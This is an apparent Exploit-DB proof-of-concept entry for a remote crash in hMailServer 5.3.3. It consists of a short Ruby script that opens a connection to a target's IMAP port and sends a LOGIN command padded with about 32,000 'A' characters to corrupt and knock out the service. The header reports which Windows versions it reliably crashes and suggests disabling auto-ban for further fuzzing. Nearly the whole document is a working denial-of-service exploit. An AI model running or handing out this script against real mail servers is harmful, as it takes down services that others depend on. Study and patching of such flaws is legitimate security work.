hMAilServer 5.3.3 – IMAP Remote Crash (PoC)

  • 作者: John Smith
    日期: 2012-10-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/22302/
  • # Exploit Title: hMailServer 5.3.3 IMAP Remote Crash PoC
    # Date: 10/27/2012
    # Vendor Homepage: http://hmailserver.com
    # Software Link: http://www.hmailserver.com/index.php?page=background_download_file&downloadid=207
    # Version: hMailServer 5.3.3 - Build 1879
    # Tested on:
    #	- hMailServer 5.3.3 with default settings
    #	- Reliably corruption makes IMAP service inaccessible on WIN XP SP2 and WIN 2K3R2 SP2
    #	- Unreliable corruption makes all services (SMTP, IMAP, and POP) inaccessible on WIN 2K8R2 SP1
    #
    # Note: Disable "Auto-ban" in the hMailServer Admin console if performing additional fuzzing.
    
    #!/usr/bin/ruby
    
    require 'socket'
    
    s = TCPSocket.open(ARGV[0], 143)
    
    cmd = "a LOGIN "
    address = "A" * 32765
    password = " AAAAAAAA\r\n"
    logout = "a LOGOUT\r\n"
    
    pkt = cmd
    pkt << address
    pkt << password
    pkt << logout
    
    s.write(pkt)
    
    while resp = s.gets
    	p resp
    end
    
    s.close